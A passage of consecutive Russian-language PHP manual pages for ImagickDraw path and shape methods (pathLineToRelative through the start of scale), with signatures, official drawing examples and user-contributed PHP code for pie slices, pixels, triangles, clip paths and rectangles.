  • « ImagickDraw::pathLineToHorizontalRelative
  • ImagickDraw::pathLineToVerticalAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует линию

ImagickDraw::pathLineToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToRelative — Рисует линию

Описание

public ImagickDraw::pathLineToRelative(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует линию от текущей точки до заданной координаты с использованием относительных координат. Затем координата становится новой текущей точкой.

Список параметров

x

Начальная координата X

y

Начальная координата Y

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Axeia 11-Apr-2009 05:20
Hope this of help of anything, I had one hell of a time to draw a simple pie slice, where in GD2 is very easily done with the 'arc' function.. this is a bit harder to do in imagick.

The degrees are a mess, seems like the path, arc and ellipse functions all use a different system.. utterly confusing.
Code below should at least be of help in understanding how it works.

For an example of the output, please see:
http://www.imagebam.com/image/8e0ca432393602
<?php
    function getPointOnCircumference( $widthOfCircle, $heightOfCircle, $degrees, $x = 0, $y = 0 )
    {
        return array(
            'x' => $x + ($widthOfCircle/2)  * sin( deg2rad( $degrees ) ),
            'y' => $y + ($heightOfCircle/2) * cos( deg2rad( $degrees ) )
        );
    }

    $width  = 200;
    $height = 200;
    $border = 2;
    $x = $width / 2;
    $y = $height / 2;
    $im = new Imagick();
    $im->newImage( $width, $height, "orange", "png" );

    $draw = new ImagickDraw();
    $draw->setFillColor( 'lime' );
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->arc( 0, 0, ($width-$border), ($height-$border), 270, 360  ); //270 till 360 degrees
    $im->DrawImage( $draw );

    $draw2 = new ImagickDraw();
    $draw2->setFillColor( 'red' );
    $draw2->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw2->setStrokeWidth( 2 );
    $draw2->ellipse( 100, 100, $x-$border, $y-$border, 0, 90 );         //0 till 90 degrees
    $im->DrawImage( $draw2 );

    $draw3 = new ImagickDraw();
    $draw3->setFillColor( 'navy' );
    $draw3->setStrokeColor( new ImagickPixel( 'white' ) );
    $draw3->setStrokeWidth( 2 );
    $draw3->pathStart();
      $degrees90  = getPointOnCircumference( $width-2*$border,$height-2*$border, 360  );
      $degrees180 = getPointOnCircumference( $width-2*$border,$height-2*$border, 270 );
      $draw3->pathMoveToRelative( $x, $y ); //Move 'pencil' to middle of image.
      $draw3->pathLineToRelative(  $degrees90['x'],  $degrees90['y'] );
      $draw3->pathEllipticArcRelative( $width-$border, $height-$border, 0, false, true, $degrees180['x'], $degrees180['y']-$y+$border );
    $draw3->pathClose();
    $im->DrawImage( $draw3 );

    header( "Content-Type: image/png" );
    echo $im;
?>


Рисует вертикальную линию

  • « ImagickDraw::pathLineToRelative
  • ImagickDraw::pathLineToVerticalRelative »
  • PHP Manual
  • ImagickDraw
  • Рисует вертикальную линию

ImagickDraw::pathLineToVerticalAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToVerticalAbsolute — Рисует вертикальную линию

Описание

public ImagickDraw::pathLineToVerticalAbsolute(float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует вертикальную линию от текущей точки до целевой точки с использованием абсолютных координат. Целевая точка становится новой текущей точкой.

Список параметров

y

Координата Y

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует вертикальную линию

  • « ImagickDraw::pathLineToVerticalAbsolute
  • ImagickDraw::pathMoveToAbsolute »
  • PHP Manual
  • ImagickDraw
  • Рисует вертикальную линию

ImagickDraw::pathLineToVerticalRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToVerticalRelative — Рисует вертикальную линию

Описание

public ImagickDraw::pathLineToVerticalRelative(float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует вертикальную линию от текущей точки до целевой точки с использованием относительных координат. Целевая точка становится новой текущей точкой.

Список параметров

y

Координата Y

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Начинает новый внутренний контур

  • « ImagickDraw::pathLineToVerticalRelative
  • ImagickDraw::pathMoveToRelative »
  • PHP Manual
  • ImagickDraw
  • Начинает новый внутренний контур

ImagickDraw::pathMoveToAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathMoveToAbsolute — Начинает новый внутренний контур

Описание

public ImagickDraw::pathMoveToAbsolute(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Начинает новый внутренний контур в заданной координате с использованием абсолютных координат. Текущая точка становится указанной координатой.

Список параметров

x

Координата x начальной точки.

y

Координата y начальной точки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Начинает новый внутренний контур

  • « ImagickDraw::pathMoveToAbsolute
  • ImagickDraw::pathStart »
  • PHP Manual
  • ImagickDraw
  • Начинает новый внутренний контур

ImagickDraw::pathMoveToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathMoveToRelative — Начинает новый внутренний контур

Описание

public ImagickDraw::pathMoveToRelative(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Начинает новый внутренний контур в заданной координате с использованием относительных координат. Текущая точка становится указанной координатой.

Список параметров

x

Целевая координата x.

y

Целевая координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Объявляет начало отрисовки контура

  • « ImagickDraw::pathMoveToRelative
  • ImagickDraw::point »
  • PHP Manual
  • ImagickDraw
  • Объявляет начало отрисовки контура

ImagickDraw::pathStart

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathStart — Объявляет начало отрисовки контура

Описание

public ImagickDraw::pathStart(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Объявляет начало отрисовки контура, которое завершается соответствующей командой DrawPathFinish(). Все остальные команды DrawPath должны быть заключены между DrawPathStart() и DrawPathFinish(). Это связано с тем, что команды рисования пути не работают сами по себе.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::pathStart()

<?php
function pathStart($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50, 50);
$draw->pathLineToAbsolute(100, 50);
$draw->pathLineToRelative(0, 50);
$draw->pathLineToHorizontalRelative(-50);
$draw->pathFinish();

$draw->pathStart();
$draw->pathMoveToAbsolute(50, 50);
$draw->pathMoveToRelative(300, 0);
$draw->pathLineToRelative(50, 0);
$draw->pathLineToVerticalRelative(50);
$draw->pathLineToHorizontalAbsolute(350);
$draw->pathclose();
$draw->pathFinish();

$draw->pathStart();
$draw->pathMoveToAbsolute(50, 300);
$draw->pathCurveToAbsolute(50, 300, 100, 200, 300, 300);
$draw->pathLineToVerticalAbsolute(350);
$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует точку

  • « ImagickDraw::pathStart
  • ImagickDraw::polygon »
  • PHP Manual
  • ImagickDraw
  • Рисует точку

ImagickDraw::point

(PECL imagick 2, PECL imagick 3)

ImagickDraw::point — Рисует точку

Описание

public ImagickDraw::point(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует точку, используя текущий цвет и толщину обводки по указанным координатам.

Список параметров

x

Координата x.

y

Координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::point()

<?php
function point($fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setFillColor($fillColor);

for ($x = 0; $x < 10000; $x++) {
$draw->point(rand(0, 500), rand(0, 500));
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Brian 26-Oct-2013 04:19
This no longer uses the fill color.  It now uses the stroke color, consistent with the documentation.
spz 26-Sep-2009 11:41
point($x, $y) uses the FillColor of ImagickDraw! This actually took quite a while, till I found out that it's falsely documented on these pages. So to draw single pixels, do it like this:

<?php
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel('red');
$image->newImage(10, 10, 'transparent', 'gif');

// Here comes the magick:
$pixel->setColor($_POST[$i."x".$j]);
$draw->setFillColor($pixel);
$draw->point($i,$j);

$image->drawImage($draw);
$image->writeImages($path, true);
?>


Рисует многоугольник

  • « ImagickDraw::point
  • ImagickDraw::polyline »
  • PHP Manual
  • ImagickDraw
  • Рисует многоугольник

ImagickDraw::polygon

(PECL imagick 2, PECL imagick 3)

ImagickDraw::polygon — Рисует многоугольник

Описание

public ImagickDraw::polygon(array $coordinates): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует многоугольник с использованием текущей обводки, её ширины, цвета заливки или текстуры с использованием указанного массива координат.

Список параметров

coordinates

Многомерный массив наподобие array( array( 'x' => 3, 'y' => 4 ), array( 'x' => 2, 'y' => 6 ) );

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickDraw::polygon()

<?php
function polygon($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(4);

$draw->setFillColor($fillColor);

$points = [
['x' => 40 * 5, 'y' => 10 * 5],
['x' => 20 * 5, 'y' => 20 * 5],
['x' => 70 * 5, 'y' => 50 * 5],
['x' => 60 * 5, 'y' => 15 * 5],
];

$draw->polygon($points);

$image = new \Imagick();
$image->newImage(500, 300, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует ломаную линию

  • « ImagickDraw::polygon
  • ImagickDraw::pop »
  • PHP Manual
  • ImagickDraw
  • Рисует ломаную линию

ImagickDraw::polyline

(PECL imagick 2, PECL imagick 3)

ImagickDraw::polyline — Рисует ломаную линию

Описание

public ImagickDraw::polyline(array $coordinates): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует ломаную линию с использованием текущей обводки, её ширины, цвета заливки или текстуры с использованием указанного массива координат.

Список параметров

coordinates

Массив координат x и y: array( array( 'x' => 4, 'y' => 6 ), array( 'x' => 8, 'y' => 10 ) )

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickDraw::polyline()

<?php
function polyline($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(5);

$points = [
['x' => 40 * 5, 'y' => 10 * 5],
['x' => 20 * 5, 'y' => 20 * 5],
['x' => 70 * 5, 'y' => 50 * 5],
['x' => 60 * 5, 'y' => 15 * 5]
];

$draw->polyline($points);

$image = new \Imagick();
$image->newImage(500, 300, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

kris at blackpepper dot co dot nz 10-Jun-2010 08:51
draw a filled Isosceles Triangle

<?php
$width =  601;
$height = 601;

$max_x = $width  - 1;
$max_y = $height - 1;
$mid_y = $max_y / 2;
$mid_x = $max_x / 2;

$fillcolor = '#F00F00';

try {
        $lo_img = new Imagick();
        $lo_img->newImage( $width, $height, new ImagickPixel('transparent'));

        $draw = new ImagickDraw();

        $draw->setFillColor($fillcolor);
        $draw->setStrokeWidth( 1 );

                            //start point                  //end point
        $co_ords = array( array( 'x' => $mid_x, 'y' => 0 ),array('x'=>0,'y'=>$max_y)
                ,array( 'x' => 0, 'y' => $max_y ),array('x'=>$max_x,'y'=>$max_y)
                 ,array( 'x' => $mid_x, 'y' => 0 ),array('x'=>$max_x,'y'=>$max_y)
                );

        $draw->polyline($co_ords);

        $lo_img->drawImage( $draw );

        $lo_img->setImageFormat( "png" );

        header( "Content-Type: image/png" );
        echo $lo_img;

        $lo_img->destroy();
        $draw->destroy();
        exit;

    } catch (Exception $ex) {
        print_r($ex);
        return;
    }
?>


Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw

  • « ImagickDraw::polyline
  • ImagickDraw::popClipPath »
  • PHP Manual
  • ImagickDraw
  • Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw

ImagickDraw::pop

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pop — Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw

Описание

public ImagickDraw::pop(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw. Может существовать несколько изображений ImagickDraw. Попытка извлечь больше изображений ImagickDraw, чем было добавлено, приведёт к возникновению ошибки, правильным использованием является извлечение только тех изображений ImagickDraw, которые были добавлены в стек.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Завершает определение пути обтравочного контура

  • « ImagickDraw::pop
  • ImagickDraw::popDefs »
  • PHP Manual
  • ImagickDraw
  • Завершает определение пути обтравочного контура

ImagickDraw::popClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popClipPath — Завершает определение пути обтравочного контура

Описание

public ImagickDraw::popClipPath(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Завершает определение пути обтравочного контура.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Завершает список определений

  • « ImagickDraw::popClipPath
  • ImagickDraw::popPattern »
  • PHP Manual
  • ImagickDraw
  • Завершает список определений

ImagickDraw::popDefs

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popDefs — Завершает список определений

Описание

public ImagickDraw::popDefs(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Завершает список определений.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::popDefs()

<?php
function popDefs($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setstrokeOpacity(1);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->pushDefs();
$draw->setStrokeColor('white');
$draw->rectangle(50, 50, 200, 200);
$draw->popDefs();

$draw->rectangle(300, 50, 450, 200);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Завершает определение шаблона

  • « ImagickDraw::popDefs
  • ImagickDraw::push »
  • PHP Manual
  • ImagickDraw
  • Завершает определение шаблона

ImagickDraw::popPattern

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popPattern — Завершает определение шаблона

Описание

public ImagickDraw::popPattern(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Завершает определение шаблона.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Клонирует текущий объект ImagickDraw и добавляет его в стек

  • « ImagickDraw::popPattern
  • ImagickDraw::pushClipPath »
  • PHP Manual
  • ImagickDraw
  • Клонирует текущий объект ImagickDraw и добавляет его в стек

ImagickDraw::push

(PECL imagick 2, PECL imagick 3)

ImagickDraw::push — Клонирует текущий объект ImagickDraw и добавляет его в стек

Описание

public ImagickDraw::push(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Клонирует текущий объект ImagickDraw для создания нового объекта ImagickDraw, который затем добавляется в стек ImagickDraw. Исходный рисующий объект ImagickDraw (или несколько объектов) можно вернуть, вызвав ImagickDraw::pop(). Объекты ImagickDraw хранятся в стеке ImagickDraw. Для каждой операции удаления должна существовать эквивалентная операция добавления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ImagickDraw::push()

<?php
function push($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillModifiedColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->push();
$draw->translate(50, 50);
$draw->rectangle(200, 200, 300, 300);
$draw->pop();
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Запускает определение пути обтравочного контура

  • « ImagickDraw::push
  • ImagickDraw::pushDefs »
  • PHP Manual
  • ImagickDraw
  • Запускает определение пути обтравочного контура

ImagickDraw::pushClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushClipPath — Запускает определение пути обтравочного контура

Описание

public ImagickDraw::pushClipPath(string $clip_mask_id): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Запускает определение пути обтравочного контура, который состоит из любого количества команд рисования и завершается командой ImagickDraw::popClipPath().

Список параметров

clip_mask_id

Идентификатор маски обтравочного контура

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

bogdan at moongate dot ro 08-Apr-2011 06:02
Here's an interactive example for your enjoyment, featuring two intersecting discs. My version doesn't antialias the clipping path; I suppose YMMV.

<?php

// Simple clip path example
// Bogdan Stancescu

$showClipping=1; // Try setting this to 0!
$showDrawing=1;  // Try setting this to 0!

// Don't edit below this line (at least until you understand the example)

$showBoth=$showClipping && $showDrawing;
$showAny=$showClipping || $showDrawing;

$image=new Imagick(); // Create image

// Image size
$width=151;
$height=101;

$image->newImage($width, $height, new ImagickPixel('lightgray')); // some visible background

$draw=new ImagickDraw(); // Create draw object

if ($showBoth)
        $draw->pushClipPath('circle_left'); // Start clipping path

if ($showClipping) {
        $draw->setFillColor('red'); // The color doesn't matter if we clip
        $draw->circle(50,50,50,0); // A circle that occupies 100x100px on the left
}

if ($showBoth) {
        $draw->popClipPath(); // Finish clipping path
        $draw->setClipPath('circle_left'); // Use the clipping path above
}

if ($showDrawing) {
        $draw->setFillColor('navy'); // This is the actual drawing color
        $draw->circle(100,50,100,0); // A circle that occupies 100x100px on the right
}

if ($showAny)
        $image->drawImage($draw); // Render $draw unto $image

$image->setImageFormat('png'); // Tell ImageMagick how to render this
header("Content-Type: image/png"); // Tell the browser how to render this

echo $image; // Render the image into the browser
?>


Указывает, что следующие команды создают именованные элементы для ранней обработки

  • « ImagickDraw::pushClipPath
  • ImagickDraw::pushPattern »
  • PHP Manual
  • ImagickDraw
  • Указывает, что следующие команды создают именованные элементы для ранней обработки

ImagickDraw::pushDefs

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushDefs — Указывает, что следующие команды создают именованные элементы для ранней обработки

Описание

public ImagickDraw::pushDefs(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Указывает, что команды вплоть до завершающей команды ImagickDraw::popDefs() создают именованные элементы (например, пути обтравочного контура, текстуры и т.д.), которые могут безопасно обрабатываться раньше для повышения эффективности.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Указывает, что последующие команды вплоть до ImagickDraw::opPattern() составляют определение именованного паттерна

  • « ImagickDraw::pushDefs
  • ImagickDraw::rectangle »
  • PHP Manual
  • ImagickDraw
  • Указывает, что последующие команды вплоть до ImagickDraw::opPattern() составляют определение именованного паттерна

ImagickDraw::pushPattern

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushPattern — Указывает, что последующие команды вплоть до ImagickDraw::opPattern() составляют определение именованного паттерна

Описание

public ImagickDraw::pushPattern(
string $pattern_id,
float $x,
float $y,
float $width,
float $height
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Указывает, что последующие команды вплоть до DrawPopPattern() содержат определение именованного паттерна. Пространству паттерна назначаются координаты верхнего левого угла, ширина и высота, и оно становится пространством для рисования. Всё, что можно нарисовать, можно использовать в определении паттерна. Именованные паттерны могут использоваться в качестве определений обводки или кистей.

Список параметров

pattern_id

ID паттерна.

x

Координата x левого верхнего угла.

y

Координата y левого верхнего угла.

width

Ширина паттерна.

height

Высота паттерна.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ImagickDraw::pushPattern()

<?php
function pushPattern($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(1);

$draw->pushPattern("MyFirstPattern", 0, 0, 50, 50);
for ($x = 0; $x < 50; $x += 10) {
for ($y = 0; $y < 50; $y += 5) {
$positionX = $x + (($y / 5) % 5);
$draw->rectangle($positionX, $y, $positionX + 5, $y + 5);
}
}
$draw->popPattern();

$draw->setFillOpacity(0);
$draw->rectangle(100, 100, 400, 400);
$draw->setFillOpacity(1);

$draw->setFillOpacity(1);

$draw->push();
$draw->setFillPatternURL('#MyFirstPattern');
$draw->setFillColor('yellow');
$draw->rectangle(100, 100, 400, 400);
$draw->pop();

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует прямоугольник

  • « ImagickDraw::pushPattern
  • ImagickDraw::render »
  • PHP Manual
  • ImagickDraw
  • Рисует прямоугольник

ImagickDraw::rectangle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::rectangle — Рисует прямоугольник

Описание

public ImagickDraw::rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует прямоугольник по двум координатам с использованием текущих параметров обводки, ширины обводки и заливки.

Список параметров

x1

Координата x левого верхнего угла.

y1

Координата y левого верхнего угла.

x2

Координата x правого нижнего угла.

y2

Координата y правого нижнего угла.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::rectangle()

<?php
function rectangle($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();
$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$draw->rectangle(200, 200, 300, 300);
$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

garym at binaryfarm dot com 28-Feb-2010 04:32
<?php

// Draw a simple rectangle or three for the newbies.
// I'm trying to comment these as best I can for a non-OOP person.
// commets or criticism are welcome. Gary Melander

$image = new Imagick();    // Create a new instance an $image class

$width =  600;        // Some necessary dimensions
$height = 400;

// $image class now inherits some attributes. i.e. Dimensions, bkgcolor...
$image->newImage( $width, $height, new ImagickPixel( 'lightgray' ) );

$draw = new ImagickDraw();    //Create a new drawing class (?)

$draw->setFillColor('wheat');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'green' ) );
$draw->rectangle( 100, 100, 200, 200 );    // Draw the rectangle

// Lets draw another
$draw->setFillColor('navy');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'yellow' ) );
$draw->setStrokeWidth(4);
$draw->rectangle( 150, 225, 350, 300 );    // Draw the rectangle

// and another
$draw->setFillColor('magenta');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'cyan' ) );
$draw->setStrokeWidth(2);
$draw->rectangle( 380, 100, 400, 350 );    // Draw the rectangle

$image->drawImage( $draw );    // Apply the stuff from the draw class to the image canvas

$image->setImageFormat('jpg');    // Give the image a format

header('Content-type: image/jpeg');     // Prepare the web browser to display an image
echo $image;                // Publish it to the world!

//$image->writeImage('someimage.jpg");    // ...Or just write it to a file...

?>


Отрисовывает все предыдущие команды рисования на изображении

  • « ImagickDraw::rectangle
  • ImagickDraw::resetVectorGraphics »
  • PHP Manual
  • ImagickDraw
  • Отрисовывает все предыдущие команды рисования на изображении

ImagickDraw::render

(PECL imagick 2, PECL imagick 3)

ImagickDraw::render — Отрисовывает все предыдущие команды рисования на изображении

Описание

public ImagickDraw::render(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Отрисовывает все предыдущие команды рисования на изображении.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает векторную графику

  • « ImagickDraw::render
  • ImagickDraw::rotate »
  • PHP Manual
  • ImagickDraw
  • Сбрасывает векторную графику

ImagickDraw::resetVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::resetVectorGraphics — Сбрасывает векторную графику

Описание

public ImagickDraw::resetVectorGraphics(): bool

Сбрасывает векторную графику.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Применяет указанный поворот к текущему координатному пространству

  • « ImagickDraw::resetVectorGraphics
  • ImagickDraw::roundRectangle »
  • PHP Manual
  • ImagickDraw
  • Применяет указанный поворот к текущему координатному пространству

ImagickDraw::rotate

(PECL imagick 2, PECL imagick 3)

ImagickDraw::rotate — Применяет указанный поворот к текущему координатному пространству

Описание

public ImagickDraw::rotate(float $degrees): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Применяет указанный поворот к текущему координатному пространству.

Список параметров

degrees

Угол поворота.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::rotate()

<?php
function rotate($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {
$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setStrokeOpacity(1);
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);
$draw->setFillColor($fillModifiedColor);
$draw->rotate(15);
$draw->rectangle(200, 200, 300, 300);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Рисует прямоугольник с закруглёнными углами

  • « ImagickDraw::rotate
  • ImagickDraw::scale »
  • PHP Manual
  • ImagickDraw
  • Рисует прямоугольник с закруглёнными углами

ImagickDraw::roundRectangle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::roundRectangle — Рисует прямоугольник с закруглёнными углами

Описание

public ImagickDraw::roundRectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует прямоугольник с закруглёнными углами по двум координатам и радиусам углов x & y, используя текущую обводку, её ширину и настройки заливки.

Список параметров

x1

Координата x левого верхнего угла.

y1

Координата y левого верхнего угла.

x2

Координата x правого нижнего угла.

y2

Координата y правого нижнего угла.

rx

Округление по оси x.

ry

Округление по оси y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::roundRectangle()

<?php
function roundRectangle($strokeColor, $fillColor, $backgroundColor, $startX, $startY, $endX, $endY, $roundX, $roundY) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$draw->roundRectangle($startX, $startY, $endX, $endY, $roundX, $roundY);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Регулирует коэффициент масштабирования

  • « ImagickDraw::roundRectangle
  • ImagickDraw::setClipPath »
  • PHP Manual
  • ImagickDraw
  • Регулирует коэффициент масштабирования

ImagickDraw::scale

(PECL imagick 2, PECL imagick 3)

ImagickDraw::scale — Регулирует коэффициент масштабирования

Описание

public ImagickDraw::scale(float $x, float $y): bool
Внимание

